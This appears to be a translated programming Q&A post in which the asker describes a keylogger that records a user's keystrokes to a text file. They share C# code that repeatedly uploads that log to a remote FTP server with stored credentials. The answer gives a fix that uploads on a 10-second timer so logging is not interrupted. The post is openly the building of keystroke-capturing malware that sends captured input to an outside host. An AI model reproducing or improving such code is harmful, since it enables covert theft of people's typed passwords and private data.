控制台应用 - FTP上传停止执行

时间:2015-06-06 10:18:40

标签: c# performance ftp execution

我目前正在开发一个将用户输入保存到文本文档的键盘记录程序。每次用户按下按钮时,文档都会更新。

我希望FTP能够不断更新服务器上的文本文档。问题是,每次上传文本文档时,它都会停止,直到上传完成,然后继续记录。

我想知道如何防止这种情况发生。 我在某个地方读到有一种方法可以通过使用ASYNC函数或类似的东西来做到这一点,但我不知道它在哪里。

我会非常感谢任何帮助。 这是我创建的FTP代码。

private static void ftp(String name)
{
    FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
        "ftp://ftp.drivehq.com/test.txt");

    request.Method = WebRequestMethods.Ftp.UploadFile;
    request.Credentials = new NetworkCredential(username, pass);
    request.UsePassive = true;
    request.UseBinary = true;
    request.KeepAlive = false;
    FileStream stream = File.OpenRead(name);
    byte[] data = new byte[stream.Length];

    stream.Read(data, 0, data.Length);
    stream.Close();

    Stream reqStream = request.GetRequestStream();
    reqStream.Write(data, 0, data.Length);
    reqStream.Close();
}

1 个答案:

答案 0 :(得分:1)

我设法找到了解决方法。我只是使用计时器,我每10秒上传一次。问题不在于FTP中断执行,而是FTP通过不断上传来充斥程序。

正如我所说。计时器修好了它。